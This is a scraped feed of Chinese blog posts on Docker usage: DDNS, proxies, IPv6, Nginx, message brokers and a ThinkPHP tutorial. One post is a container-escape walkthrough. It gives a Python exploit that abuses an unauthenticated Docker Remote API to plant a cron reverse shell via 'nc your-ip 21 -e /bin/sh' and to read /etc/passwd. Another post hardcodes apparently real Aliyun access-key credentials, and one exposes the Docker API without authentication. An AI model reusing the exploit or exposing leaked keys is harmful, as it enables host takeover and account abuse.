ddns 容器https://hub.docker.com/r/chen... https://github.com/honwen/ali... docker pull chenhw2/aliyun-ddns-cli$ docker run -d \ -e "AKID=[ALIYUN's AccessKey-ID]" \ -e "AKSCT=[ALIYUN's AccessKey-Secret]" \ -e "DOMAIN=ddns.aliyun.win" \ -e "REDO=600" \ chenhw2/aliyun-ddns-clidocker pull chenhw2/aliyun-ddns-cli# ipv4docker run -d \ --net=host \ --restart=always \ --name my-aliyun-ddns \ -e "AKID=LTAI5tRg6VETZJQuHiha2Mis" \ -e "AKSCT=jDHVhnn9zJLQ7rRVrQq9Mm2F1xeIkG" \ -e "DOMAIN=jindi.ddns.one-k.xyz" \ -e "REDO=300" \ chenhw2/aliyun-ddns-clidocker rm -f my-aliyun-ddns# ipv6docker run -d \ --net=host \ --restart=always \ --name my-aliyun-ddns \ -e "AKID=LTAI5tRg6VETZJQuHiha2Mis" \ -e "AKSCT=jDHVhnn9zJLQ7rRVrQq9Mm2F1xeIkG" \ -e "DOMAIN=jindi.ddns.one-k.xyz" \ -e "REDO=300" \ -e "IPV6=true" \ chenhw2/aliyun-ddns-clitest# -b :: 监听 ipv6# testpython3 -m http.server -b ::可选参数docker run --rm chenhw2/aliyun-ddns-cli -hNAME: aliddns - aliyun-ddns-cliUSAGE: aliyun-ddns-cli [global options] command [command options] [arguments...]VERSION: Git:[MISSING BUILD VERSION [GIT HASH]] (go1.16)COMMANDS: help, h Shows a list of commands or help for one command DDNS: list List AliYun's DNS DomainRecords Record delete Delete AliYun's DNS DomainRecords Record update Update AliYun's DNS DomainRecords Record, Create Record if not exist auto-update Auto-Update AliYun's DNS DomainRecords Record, Get IP using its getip GET-IP: getip Get IP Combine 10+ different Web-API resolve Get DNS-IPv4 Combine 4+ DNS UpstreamGLOBAL OPTIONS: --access-key-id value, --id value AliYun's Access Key ID --access-key-secret value, --secret value AliYun's Access Key Secret --ipapi value, --api value Web-API to Get IP, like: http://myip.ipip.net --ipv6, -6 IPv6 --help, -h show help --version, -v print the version

November 5, 2022 · 1 min · jiezi

关于docker:docker构建容器时-容器内使用代理

build 容器时 应用代理demo1应用前 指定 env应用后 记得 清空,  否则 会影响 应用容器 时的 网络 cat dockerfile-->FROM jenkins/jenkins:2.289.2-lts-jdk11USER rootenv http_proxy "http://172.20.1.247:7890"env https_proxy "http://172.20.1.247:7890"RUN apt-get update && apt-get install -y apt-transport-https \ ca-certificates curl gnupg2 \ software-properties-commonRUN curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -RUN apt-key fingerprint 0EBFCD88RUN add-apt-repository \ "deb [arch=amd64] https://download.docker.com/linux/debian \ $(lsb_release -cs) stable"RUN apt-get update && apt-get install -y docker-ce-clienv http_proxy ""env https_proxy ""USER jenkinsRUN jenkins-plugin-cli --plugins "blueocean:1.24.7 docker-workflow:1.26"

November 5, 2022 · 1 min · jiezi

关于docker:docker使用代理in-home

docker 应用 http http_proxyhttps://docs.docker.com/config/daemon/systemd/# 代理 和 国内 镜像源 不要 同时应用,。。。# "storage-driver": "overlay2",apt install docker.io -yproxy_url='192.168.10.20:7890'mkdir -p /etc/systemd/system/docker.service.dcat > /etc/systemd/system/docker.service.d/http-proxy.conf <<EOF[Service]Environment="HTTP_PROXY=http://${proxy_url}"Environment="HTTPS_PROXY=http://${proxy_url}"EOFself_hub='192.168.10.101:5000'cat > /etc/docker/daemon.json <<EOF{ "bip":"10.199.123.1/24", "log-level": "error", "insecure-registries": ["${self_hub}"]}EOFsystemctl enable dockersystemctl daemon-reloadsystemctl restart docker推送到 本人的 镜像仓库self_hub='192.168.71.1:5000'function tag_img_and_push(){ docker tag ${1} ${self_hub}/${1} docker push ${self_hub}/${1}}for i in $( docker images | grep -v 'TAG' | awk '{print $1":"$2}' | grep -v "${self_hub}" | grep -v '192.168' )do tag_img_and_push ${i} &donewait

November 5, 2022 · 1 min · jiezi

关于docker:Docker逃逸

Docker逃逸在浸透测试中面向的场景大略是这样,浸透拿到shell后,发现主机是docker环境,要进一步浸透,就必须逃逸到“间接宿主机”。甚至还有物理机运行虚拟机,虚拟机运行Docker容器的状况。那就还要虚拟机逃逸了。所以本文给大家介绍的就是如何判断以后环境是否为docker容器环境,其次通过几种形式进行docker逃逸。 如何判断以后机器是否为Docker容器环境1、查看是否存在.dockererenv文件ls -alh /.dockerenv 2、查看/proc/1/cgroup是否存在docker字符串cat /proc/1/cgroup |grep docker 3、其余检测形式mount、fdisk -l查看硬盘、判断PID 1的过程名等也可用来辅助判断。 Docker逃逸形式1、危险的配置导致Docker逃逸因为"纵深进攻" 和 "最小权限"等理念和准则落地,越来越难以间接利用破绽来进行利用。另一方面,公开的破绽,平安运维人员可能及时将其修复,当然,未免存在漏网之鱼。相同,更多的是利用谬误的、危险的配置来进行利用,不仅仅Docker逃逸,其余破绽也是,比方生产环境开启Debug模式导致破绽利用等等。 Docker曾经将容器运行时的Capabilities黑名单机制改为现在的默认禁止所有Capabilities,再以白名单形式赋予容器运行所需的最小权限。 2、docket remote api未受权拜访导致逃逸。docker swarm是治理docker集群的工具。主从治理、默认通过2375端口通信。绑定了一个Docker Remote API的服务,能够通过HTTP、Python、调用API来操作Docker Docker Remote API的端口2375端口拜访http://your-ip:2375/version在kali上开启nc监听本地端口,用来接管反弹shell。反弹Shell exp: import docker client = docker.DockerClient(base_url='http://your-ip:2375/') data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})执行脚本,shell会反弹到kali主机上Github上的exp:https://github.com/Tycx2ry/do... 另一种形式 首先拜访http://your-ip:2375/version拜访http://ip:2375/containers/json创立一个包,失去返回的exec_id的参数,数据包内容如下: POST /containers/<container_id>/exec HTTP/1.1Host: <docker_host>:PORTContent-Type: application/jsonContent-Length: 188{“AttachStdin”: true,“AttachStdout”: true,“AttachStderr”: true,“Cmd”: [“cat”, “/etc/passwd”],“DetachKeys”: “ctrl-p,ctrl-q”,“Privileged”: true,“Tty”: true} ...

November 5, 2022 · 2 min · jiezi

关于docker:docker开启远程访问

服务器端 开启 docker 近程拜访vi /lib/systemd/system/docker.serviceExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H fd:// --containerd=/run/containerd/containerd.socksystemctl daemon-reloadsystemctl restart docker# 本地 测试 curl http://localhost:2375/version# 其余 机器 测试curl http://192.168.164.190:2375/version本地 近程连贯 dockerdocker context create --docker "host=tcp://your-remote-server.org:2376"docker context create remote_190 --docker "host=tcp://192.168.164.190:2375"context "remote_190" already existsdocker context update remote_190 --docker "host=tcp://192.168.164.190:2375"remote_190Successfully updated context "remote_190"docker context use remote_190# 即可 应用 近程 docker

November 4, 2022 · 1 min · jiezi

关于docker:docker支持ipv6

办法办法一、Pv6地址不为容器中的服务特地调配IPv6地址。只有Docker把内部的IPv6地址端口映射到容器的IPv4端口上,随后拜访主机的IPv6相应端口即可。 办法二、为Docker网络调配IPv6地址(1)Docker daemon默认只反对IPv4地址,通过在运行Docker时减少--ipv6参数能够使其同时反对ipv4和ipv6地址。(2)此时容器仅取得了本地ipv6地址,如果要取得全局ipv6地址,必须确保机器有至多/80的地址段,通过在运行Docker时减少--fixed-cidr-v6参数为其配置ipv6子网。该参数会在路由表中增加一条路由,相当于执行了一下命令:$ ip -6 route add 2001:db8:1::/64 dev docker0$ sysctl net.ipv6.conf.default.forwarding=1$ sysctl net.ipv6.conf.all.forwarding=1随后,所有路由往2001:db8:1::/64的流量都会通过docker0接口路由(3)除了在运行时增加参数,还能够间接编辑/etc/docker/daemon.json文件,退出以下内容:{ "ipv6": true, "fixed-cidr-v6": "2001:db8:1::/64"}其中2001:db8:1::/64是IPv6地址段。 systemctl reload docker (4)应用systemctl restart docker命令重启Docker。(5)应用ifconfig命令查看调配到Docker网络的IPv6地址段(6)实现了下面的配置之后,无需特意配置,只需失常建设容器,即可为容器调配IPv6地址。能够应用“docker inspect容器名”查看容器的IP地址。 官网教程启用ipv6Edit /etc/docker/daemon.json, set the ipv6 key to true and the fixed-cidr-v6 key to your IPv6 subnet. In this example we are setting it to 2001:db8:1::/64. { "ipv6": true, "fixed-cidr-v6": "2001:db8:1::/64"}Save the file.Reload the Docker configuration file.$ systemctl reload docker启用内部转发https://docs.docker.com/netwo... Enable forwarding from Docker containers to the outside worldBy default, traffic from containers connected to the default bridge network is not forwarded to the outside world. To enable forwarding, you need to change two settings. These are not Docker commands and they affect the Docker host’s kernel. ...

November 4, 2022 · 2 min · jiezi

关于docker:技术交流|Dockerfile-中-RUN-后面的敏感信息检测

前言之前学习过一些容器底层原理,再加上之前倾旋徒弟提了一个小想法:拿到镜像,是否能够最大水平还原Dockerfile的内容,因为这个外面很可能有一些敏感信息。于是《镜像反查Dockerfile》文章就诞生了,实际上外面的技术都是曾经有人做好了,我无非是复现,细节补充罢了。 这个事件并没有完结,秉承着实验室外部钻研必须落地的精力,我想把这个细节落地到工具下来:在云场景的攻防中,当咱们控下一个公有云的仓库的时候,通过运行某个自动化工具,将一些敏感信息提取进去。 筹备工作1. 抉择工具二开还是间接开写如果在大学期间,我必定抉择去间接开写,锤炼一些能力。然而前面工作了这么久,才越来越感触到大道至简,况且他人曾经写的很好了又无私奉献。有些时候从0开始,不如从1开始。况且那个1还是一个很成熟,很棒的工具。 2. 抉择哪个工具其实我首先想到的并不是问脉,而是CDK, 也看了局部的源码,然而最初从定位来说,并不是很适合。CDK更多的是容器权限,集群权限,你能够看到CDK中对于Docker破绽利用方面更多的是逃逸,利用。(只是定位不太适合,不障碍CDK是一款优良的,我也很喜爱的一款工具) 这个时候想起来了长亭的问脉 Veinmind ,Veinmind 有检测敏感信息和 history 的异样操作这块,并且从大维度来说是反对镜像和容器状态的。再加上之前也常常用,相对来说很相熟。那么我会用到哪些模块呢? 3. 剖析工作拉取 Veinmind 源码,发现两个模块比拟合乎: Veinmind-sensitive(扫描镜像中敏感信息)?看起来很合乎。Veinmind-history (扫描镜像中的异样历史命令)?从 rules 和介绍来看不是很合乎,然而外面有一些现成的匹配docker history的逻辑,这意味着我能够少写很多代码。乏味的是 我发现了https://github.com/chaitin/ve...这个 pr ,这位徒弟像给问脉的docker history 加一些检测的规定。 最终我还是抉择 Veinmind-sensitive 模块。这个模块的定位很具体,是扫描镜像中的异样历史命令,这个"异样"能够通过模块的 rules 去确定他的定位。举个例子:我在 Dockerfile 中 RUN 前面蕴含了某一串 token,或者写一个 password ,你只能说这么写会有敏感信息,然而自身也没挖矿操作,没歹意命令,当然不能说我这个镜像是有异样指令的。 持续剖析 Veinmind-sensitive 模块,发现该模块次要的检测逻辑依赖 rules.toml ,检测内容曾经很全面了:镜像的 env 信息 、敏感文件及敏感文件中的敏感内容。但咱们晓得,Dockerfile 的编写中 RUN 前面是能够写任何命令,包含命令参数都能够,此时这里可能蕴含很多敏感信息,而 Veinmind-sensitive 没有检测到。 对于检测工具来说,这块的检测维度必须笼罩到,这是向 Veinmind 提 pr 的好机会。很多时候咱们须要把信息通过正则列举进去,并给出相干形容,有没有用,敏感水平是用户说了算。 开始Code首先就是 pycharm 的近程调试,而后我为本人确定了一个指标,也就是他应该输入啥样子的。之后就是看源码了,其实懂镜像原理的小伙伴是很好了解写的逻辑的。 在性能上,我为本人定了以下指标: 在敏感内容的检测中退出docker hisroty遍历每一行 docker history的指令,而后将其与正则匹配rules去匹配(都匹配或者可选)如果一行指令命中多个正则,须要在report中显示最终在不改变toml,不改变外围逻辑的状况下,减少了该性能,成果就是下方展现的 Dockerfile的内容 ...

November 4, 2022 · 1 min · jiezi

关于docker:dockerNginx代理本地目录

启动挂载容器,开启文件服务ssl_certificate cert/5900588_test.zk.limengkai.work.pem;ssl_certificate_key cert/5900588_test.zk.limengkai.work.key;docker run -tdi --rm -v /containers/nginx:/etc/nginx -v /amydata:/amydata -v /usr/share/zoneinfo/Asia/Shanghai:/etc/localtime -p 443:443 -p 80:80 --name nginx1 nginx docker 代理本地目录1.抉择要挂载的目录博主抉择/amydata目录对外裸露 2.配置nginx文件保留在宿主机 /a_nginx_conf/nginx.conf 批改 38 行,你要进行裸露的文件夹 location / { #代理本地文件夹 root /amydata; autoindex on;}mkdir -p /a_nginx_confmkdir -p /amydata残缺的 /a_nginx_conf/nginx.conf worker_processes 4;events { worker_connections 1024;}error_log /var/log/nginx/error.log warn;pid /var/run/nginx.pid;http { include mime.types; default_type application/octet-stream; # 避免中文乱码 charset utf-8; # 默认为on,显示出文件的确切大小,单位是bytes。 # 改为off后,显示出文件的大略大小,单位是kB或者MB或者GB autoindex_exact_size off; # 默认为off,显示的文件工夫为GMT工夫。 # 留神:改为on后,显示的文件工夫为文件的服务器工夫 autoindex_localtime on; log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; access_log /var/log/nginx/access.log main; sendfile on; keepalive_timeout 65; server { listen 80; server_name localhost; #配置跨域 add_header Access-Control-Allow-Origin *; add_header Access-Control-Allow-Headers X-Requested-With; add_header Access-Control-Allow-Methods GET,POST,OPTIONS; location / { #代理本地文件夹 root /amydata; autoindex on; } error_page 500 502 503 504 /50x.html; location = /50x.html { root html; } }}启动挂在容器,开启文件服务对外裸露 服务器的 50000 端口 到 nginx 内 ...

November 3, 2022 · 2 min · jiezi

关于docker:Docker安装ActiveMQ

ActiveMQ简介官网地址:https://activemq.apache.org/ 简介: ActiveMQ 是Apache出品,最风行的,能力强劲的开源音讯总线。ActiveMQ 是一个齐全反对JMS1.1和J2EE 1.4标准的 JMS Provider实现,只管JMS标准出台曾经是很久的事件了,然而JMS在当今的J2EE利用两头依然扮演着非凡的位置。 特点: 反对来自Java,C,C ++,C#,Ruby,Perl,Python,PHP的各种跨语言客户端和协定齐全反对JMS客户端和Message Broker中的企业集成模式反对许多高级性能,如音讯组,虚构指标,通配符和复合指标齐全反对JMS 1.1和J2EE 1.4,反对瞬态,长久,事务和XA音讯Spring反对,以便ActiveMQ能够轻松嵌入到Spring应用程序中,并应用Spring的XML配置机制进行配置专为高性能集群,客户端 - 服务器,基于对等的通信而设计CXF和Axis反对,以便ActiveMQ能够轻松地放入这些Web服务堆栈中以提供牢靠的消息传递能够用作内存JMS提供程序,非常适合单元测试JMS反对可插拔传输协定,例如in-VM,TCP,SSL,NIO,UDP,多播,JGroups和JXTA传输应用JDBC和高性能日志反对十分疾速的持久性Docker装置ActiveMQ#下载镜像docker pull webcenter/activemqdocker run --name my-activemq -d \-p 8161:8161 \-p 61616:61616 \-p 61613:61613 \webcenter/activemqwebcenter/activemq镜像启动没胜利#应用上面这个镜像胜利docker pull rmohr/activemqdocker run --name my-activemq -d \-p 61616:61616 \-p 8161:8161 rmohr/activemq拜访 http://192.168.1.5:8161/admin(用户名和明码默认为admin),则启动胜利。

October 29, 2022 · 1 min · jiezi

关于docker:98docker命令

进行docker容器服务: docker ps docker stop 容器ID或容器名 docker kill 容器ID或容器名 :间接敞开容器 启动: docker start 容器ID或容器名 删除容器: 查看所有显示的容器: docker ps -a 删除容器: docker rm 容器ID或容器名 Docker容器向宿主机传送文件 格局: docker cp container_id:<docker容器内的门路> <本地保留文件的门路> 比方: docker cp 10704c9eb7bb:/root/test.text /home/vagrant/test.txt 宿主机向Docker容器传送文件 格局: docker cp 本地文件的门路 container_id:<docker容器内的门路> 比方: docker cp /home/vagrant/test.txt 10704c9eb7bb:/root/test.text 查看镜像的版本好TAG 地址如下:https://hub.docker.com docker 进入容器 sudo docker exec -it 775c7c9ee1e1 /bin/bash

October 28, 2022 · 1 min · jiezi

关于docker:Cannot-connect-to-the-Docker-daemon-at-unix

记录一次宕机。 服务不可用,登录Linux,尝试重启docker容器,报:Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?谬误。 查看磁盘占用: df -h100%占用。 定位到具体文件夹,发现是一个日志文件达到了惊人的35G... 是的,35G,前菜狗后端看来比预期的还要菜。清空日志文件: > xxx.log重启Docker: systemctl daemon-reloadsystemctl restart docker.service服务复原。

October 26, 2022 · 1 min · jiezi

关于docker:Docker搭建RabbitMQ集群开启MQTT插件后连接不上

RabbitMQ集群搭建和测试总结_亲测 Docker装置RabbitMQ集群_亲测胜利 开启MQTT插件后, 集群形式连贯不上,看日志报错连贯超时, 执行如下命令就能够连贯上了 rabbitmqctl eval "ra:overview()." rabbitmqctl eval "ra:trigger_election('mqtt_node')."

October 25, 2022 · 1 min · jiezi

关于docker:Docker安装rabbitMQ

先装置DockerCentos7离线装置Docker 华为云arm架构装置Docker Docker装置rabbitMQ#下载带有web治理界面的镜像docker pull rabbitmq:3.8.2-management #启动容器docker run -p 1883:1883 -p 4369:4369 -p 5671:5671 \-p 5672:5672 -p 8883:8883 \-p 15672:15672 -p 25672:25672 \-p 15675:15675 \-d --hostname my-rabbitmq \--name some-rabbitmq \-e RABBITMQ_DEFAULT_USER=admin \-e RABBITMQ_DEFAULT_PASS=admin \rabbitmq:3.8.2-management #端口被占用时改下端口docker run -p 15677:15677 -p 5677:5672 -d --hostname my-rabbitmq \--name some-rabbitmq \-e RABBITMQ_DEFAULT_USER=admin \-e RABBITMQ_DEFAULT_PASS=admin \rabbitmq:3.8.2-management 装置启动mqtt插件#进入容器docker exec -it name /bin/bash#启用治理控制台插件rabbitmq-plugins enable rabbitmq_management 治理控制台的默认端口是15672#启用mqtt插件rabbitmq-plugins enable rabbitmq_mqtt 默认端口mqtt是1883 mqtt://118.24.2.2:1883#启用mqtt插件的websocket端口rabbitmq-plugins enable rabbitmq_web_mqtt 默认端口websocket是15675 ws://118.24.2.2:15675/ws path是/ws其余镜像装置https://github.com/bitnami/bitnami-docker-rabbitmqdocker run --name rabbitmq bitnami/rabbitmquser/bitnami

October 24, 2022 · 1 min · jiezi

关于docker:Docker-PHP-入门实践四

第4章. 连贯到数据库在连贯数据库之前,咱们须要确保咱们的PHP容器已装置所有必要的扩大。默认状况下,Docker Hub 上的 PHP 镜像都是十分轻量级的,因而它不蕴含您可能须要的许多PHP扩大或Linux包。您必须依据我的项目优先级在较小或者更灵便的镜像之间进行衡量,然而咱们晓得该我的项目须要用到MySQL,因而让咱们在 PHP 镜像中装置所需的拓展吧 应用根底的 PHP 镜像通常是一个很好的终点,然而我也能够在 Github 中查找应用启用常见扩大的 PHP 镜像。查看此存储库理解更多信息。创立自定义Dockerfile进入到咱们的天气利用我的项目的根目录,创立一个的新文件命名为Dockerfile。Dockerfile没有扩展名,用于配置和设置 Docker 镜像。Docker Hub 上的所有镜像都有有相应的 Dockerfile 文件,通常您能够在 GitHub 上找到它们。PHP的dockerfile在这里,但它们可能会有点凌乱,因为它们是互相关联的的。咱们的 Dockerfile 会简略得多: DockerfileFROM php:apacheRUN docker-php-source extract && docker-php-ext-install mysqli pdo pdo_mysql && docker-php-source delete解疑小课堂此 Dockerfile 有两行: FROM php:apache - 这通知 Docker 在开始构建时抉择哪个镜像。你能够从一个Linux发行版开始 (比方Ubuntu 或者超轻 alpine ),或者您也能够本人构建一个雷同的镜像。在这里,咱们抉择php:apache镜像作为咱们的运行容器。RUN docker-php-source extract... - 这是增加咱们须要的 PHP 扩大。在咱们的例子中,咱们只想应用 mysqli函数 用于操作 Mysql 数据库。因为这是一个十分常见的扩大,当咱们选用 PHP 根底镜像时,PHP镜像中有主动增加它的办法。查看 官网Docker文档 无关扩大现有镜像的更多配置命令。构建镜像咱们须要通过刚刚创立的 Dockerfile 去构建咱们所需的镜像: cd E:/workplace/docker-app/weather-appdocker build . -t sunmking/weather-app当咱们运行此命令构建 Docker 镜像时,将看到以下输入,具体如下: ...

October 20, 2022 · 5 min · jiezi

关于docker:创建容器镜像如何编写正确高效的Dockerfile

镜像的外部机制是什么镜像是一个打包文件,外面蕴含了应用程序和依赖的环境,例如:文件系统、环境变量和配置参数等。 环境变量和配置参数比较简单一个manifest清单就能够治理,真正麻烦的是文件系统。为了保障容器运行环境的一致性,镜像必须把应用程序所在操作系统的根目录,也就是rootfs都蕴含进来。 容器是共享宿主机内核,文件系统不蕴含零碎内核,如果有一千个镜像基于Ubuntu零碎打包,那么这些镜像里就会反复一千次Ubuntu目录,对于磁盘存储、网络传输都是很大的节约。 把反复的局部抽取进去寄存到一份根目录文件,而后让其余镜像以某种形式共享这部分数据。这个思路正是容器的分层,Layer。 一个镜像是由许多的镜像层组成的,每层都是只读不可批改的一组文件,雷同的层能够在镜像之间共享,多个层像搭积木一样推叠起来,再应用一种“Union FS联结文件系统”的技术把它们合并在一起,就造成了容器最终看到的文件系统。 docker inspect能够查看镜像分层信息,比方nginx:alpine镜像 docker inspect nginx:alpine在执行docker pull 或 docker rmi命令时输入的信息其实就是镜像里的各个Layer,Docker会查看是否有反复的层,如果本地曾经存在就不会反复下载,如果层被其余镜像共享就不会被删除,这样就能够节约磁盘和网络老本。 以上就是镜像的内部结构和基本原理。 Dockerfile是什么Dockerfile如果是施工图纸,镜像就是由旋工图纸建造的房子,而容器就是住进人的房子。 Dockerfile就是一个纯文本文件,外面记录了构建指令,比方抉择根底镜像、拷贝文件、运行脚本,每个指令都会生成一个Layer,Docker程序执行这个文件里的所有指令,最终生成一个新的镜像文件。 最简略的Dockerfile # filename:Dockerfile.busyboxFROM busyboxCMD echo "hello world"第一条指令:抉择根底镜像 第二条指令:启动容器时默认运行的命令 依据图纸建造房子是由施工团队实现的,这里就是docker build docker build -f Dockerfile.busybox .查看、运行镜像 docker imagesdocker inspect image_iddocker run image_id怎么编写正确、高效的Dockerfile抉择镜像 - FROM指令抉择根底镜像十分要害,如果关注镜像的平安和大小个别抉择Alpine,如果关注利用运行的稳定性个别抉择CentOS、Ubuntu、Debian。 FROM alpine:3.15FROM ubunt:bionic复制文件 - COPY指令如果要将源码、配置文件打包进镜像,就须要COPY指令,留神复制的源文件门路必须是构建上下文里的门路,也就是用相对路径。 # 把构建上下文里的a.txt拷贝到镜像的/tmp目录COPY ./a.txt /tmp/a.txt# 上面形式不正确,不能用构建上下文之外的文件COPY /etc/hosts /tmp执行命令 - RUN指令执行任意shell命令,就须要RUN指令,Dockerfile里一条指令只能是一行,所以RUN指令每行开端用\续行符,命令之间用&&连贯,这样就能保障在逻辑上是一行,缩小Layer。 RUN apt-get update \ && apt-get install -y \ build-essential \ curl \ make \ unzip \ && cd /tmp \ && curl -fSL xxx.tar.gz -o xxx.tar.gz\ && tar xzf xxx.tar.gz \ && cd xxx \ && ./config \ && make \ && make clean这样写一是不美观,二是一旦写错每次调试都要从新构建很麻烦,能够采纳一种变通的技巧:把这些shell命令集中到一个脚本文件中,用COPY命令复制进去,再用RUN来执行。 ...

October 20, 2022 · 1 min · jiezi

关于docker:Docker-PHP-入门实践三

第三章。创立一个 ThinkPHP 应用程序在本教程的其余部分,咱们将基于 ThinkPHP 框架实现一个天气查问的利用。应用 高德开放平台-天气查问 的接口来实现咱们的性能。把查问数据缓存到 MySql 中,这样就不必每次频繁的申请第三方的接口了(有申请次数限度) 抉择高德开放平台-天气查问 API 次要是因为它是收费的。当然你也能够应用其余的第三方天气查问接口,看集体爱好。该利用是一个非常简单的 REST API 利用,次要实现两个接口。GET /weather/:location_id - 从数据库中获取天气(如果存在的话),如果不存在,则从 第三方接口获取。DELETE /weather/:location_id - 从数据库中删除已缓存的天气信息。再次查问该地点的天气时,将从高德的天气接口获取。在咱们进行利用编码之前,首先应用 Docker 装置并运行 [ThinkPHP](https://www.kancloud.cn/manual/thinkphp6_0/1037479)装置 ThinkPHP FrameworkThinkPHP 是一个收费开源的,疾速、简略的面向对象的轻量级PHP开发框架,是为了麻利WEB利用开发和简化企业应用开发而诞生的。ThinkPHP从诞生以来始终秉承简洁实用的设计准则,在放弃杰出的性能和至简代码的同时,更重视易用性。遵循Apache2开源许可协定公布,意味着你能够收费应用ThinkPHP,甚至容许把你基于ThinkPHP开发的利用开源或商业产品公布/销售。这就是为什么我抉择它作为本教程的教学框架。我不想让你因为一个框架而放弃,但我也不想从头开始建设所有的货色,因为该教程的重点是Docker,而不是咱们的PHP利用。 用Docker 创立 ThinkPHP 利用实际上比用本地配置PHP环境所需的操作少。并且为咱们还须要应用 Composer,多亏了Docker,咱们甚至不须要在主机上安装它。 首先关上你的终端,创立一个我的项目目录。 $ mkdir docker-app并进入到该目录中 $ cd docker-app当初应用[官网Composer Docker镜像](https://hub.docker.com/_/comp...)装置 ThinkPHP 。 $ docker run --rm --interactive --tty -v E:/workplace/docker-app/:/app composer:latest create-project topthink/think weather-app如果你查看weather-app/目录,你会看到 ThinkPHP 6 的我的项目目录,如下所示: dirE:\workplace\docker-app\weather-app 的目录2022/02/11 16:31 <DIR> .2022/02/11 16:30 <DIR> ..2021/12/16 21:06 231 .example.env2021/12/16 21:06 34 .gitignore2021/12/16 21:06 2,038 .travis.yml2021/12/16 21:06 <DIR> app2021/12/16 21:06 1,094 composer.json2022/02/11 16:31 36,134 composer.lock2021/12/16 21:06 <DIR> config2021/12/16 21:06 <DIR> extend2021/12/16 21:06 1,822 LICENSE.txt2021/12/16 21:06 <DIR> public2021/12/16 21:06 1,459 README.md2021/12/16 21:06 <DIR> route2021/12/16 21:06 <DIR> runtime2021/12/16 21:06 180 think2022/02/11 16:31 <DIR> vendor2021/12/16 21:06 <DIR> view创立 ThinkPHP 利用的过程中的命令梳理咱们的 docker 运行命令与第二章中的命令类似,但咱们应用了不同的镜像。咱们没有应用运行hello.php 脚本的 PHP 镜像,而是应用了一个 Composer 镜像。让咱们来看看有什么变动。 ...

October 19, 2022 · 4 min · jiezi

关于docker:Docker-PHP-入门实践二

第二章 . 在 Docker 中运行 PHP 脚本在咱们开始构建应用程序之前,先理解一下如何在Docker中运行一个PHP脚本。咱们从编写一个经典的Hello World开始PHP脚本如下: <?php echo "Hello World!"; 你能够在虚拟机或者笔记本的终端上运行这个脚本(假如你曾经装置了PHP)。你应该能够看到终端输入 Hello World ! Docker 镜像介绍Docker 在一个容器中运行每个过程。所有这些容器都在主机上运行,这是你在这本书里的电脑。一旦应用程序筹备好进入生产环境,服务器(或多个服务器)将充当 Docker 主机。每个运行的容器前面都有一个“镜像”。Docker 镜像是由软件开发人员应用 dockerfile 创立和保护的。换句话说,如果您想从头创立本人的 Docker 镜像,那么首先要创立一个新的Dockerfile,而后“构建”一个镜像,而后在容器中 “运行” 该镜像。通常咱们不须要从头构建镜像。大多数风行的软件(包含PHP)都有由软件开发人员或感兴趣的社区保护的镜像。在这没必要构建一个全新的镜像,然而稍后咱们将会解说到如何通过编写本人的 Dockerfile 来扩大现有镜像。Docker 镜像能够构建并存储在主机上,也能够保留在近程 "registry" 中。除了保护外围的Docker 平台之外,Docker 团队还保护一个名为 Docker Hub 镜像治理平台,在这里能够收费存储公共镜像。大多数开源软件团队在 Docker Hub 上托管官网镜像,包含 PHP。 获取PHP Docker 镜像为了在容器中运行 hello.php 脚本,首先须要为 pull 一个 PHP 镜像,抉择 PHP 的最新稳固版本。在终端中执行: $ docker pull php:latest 在你的终端应该能够看到相似这样的货色: latest: Pulling from library/php7d63c13d9b9b: Pull complete24b15dfd3cfa: Pull complete64625c2e355f: Pull complete275a8dd8f358: Pull complete25140c092894: Pull complete48e615a81d63: Pull complete5b1d56720240: Pull complete16d610fad528: Pull complete68ac649f8fe5: Pull complete这示意 Docker 正在拉取 PHP 最新版镜像。当拉取实现时,在终端会显示一个如下的状态,表明它曾经获取了最新的版本: ...

October 19, 2022 · 1 min · jiezi

关于docker:Docker-PHP-入门实践一

第一章 . Docker 的介绍Docker已迅速成为首选的容器引擎,并且它正在疾速的占领市场。该系列的教程将一步一步疏导你应用Docker构建一个PHP Web应用程序,同时也会在其中交叉解释一些Docker&PHP的基础知识。 在该系列的教程中,会包含以下知识点: 应用Composer装置依赖项.应用Docker构建PHP环境.将数据保留到MySQL数据库.Thinkphp6 框架的应用如何对接第三方API......读这本书须要有肯定PHP开发教训;晓得如何关上计算机的终端,并从中运行PHP脚本;并且抽出一上午或一下午的工夫来上手实际。最重要的是你要装置docker。 Docker 是什么?Docker是一个治理和运行容器的平台。容器相似于虚拟机,但它们实际上并不模仿整个操作系统。相同,您运行的所有容器与主机共享雷同的底层内核,这意味着它们比虚拟机轻得多。因而,容器十分高效,并且大多数理论应用程序同时运行多个容器。Docker帮忙您应用容器的networks将这些容器链接在一起,并帮忙您应用Docker Compose配置文件定义容器。 为什么应用 Docker?企业应用一项技术是为了解决以后企业环境中存在的某个痛点。目前整个软件行业存在着以下几个痛点。(1)软件更新公布及部署低效,过程繁缛且须要人工染指。(2)环境一致性难以保障。(3)不同环境之间迁徙老本太高。Docker 在很大水平上解决了上述问题:首先,Docker 的应用非常简略,从开发的角度来看就是“三步走”:构建、运输、运行。其中,关键步骤是构建环节,即打包镜像文件。然而从测试和运维的角度来看,那就只有两步:复制、运行。有了这个镜像文件,想复制到哪里运行都能够,齐全和平台无关。Docker 这种容器技术隔离出了独立的运行空间,不会和其余利用争用系统资源,不须要思考利用之间的相互影响。其次,因为在构建镜像时就解决完了服务程序对于零碎的所有依赖,所以在应用时,能够疏忽本来程序的依赖以及开发语言。对测试和运维人员而言,能够更专一于本人的业务内容。最初,Docker 为开发者提供了一种开发环境的治理方法,帮忙测试人员保障环境的同步,为运维人员提供了可移植的标准化部署流程。 对于作者Nickname: clyde-cn ( saviorlv )Skill: PHP Python Golang VueEmail: [email protected]Desc: 90后 IT 民工 对于许可证© 2020-09-27, 援救伏地魔(saviorlv) 版权所有。未经版权所有者的书面许可,不得以任何模式或通过任何电子或机械形式复制本教程的任何局部。

October 19, 2022 · 1 min · jiezi

关于docker:docker文档-不断补充中

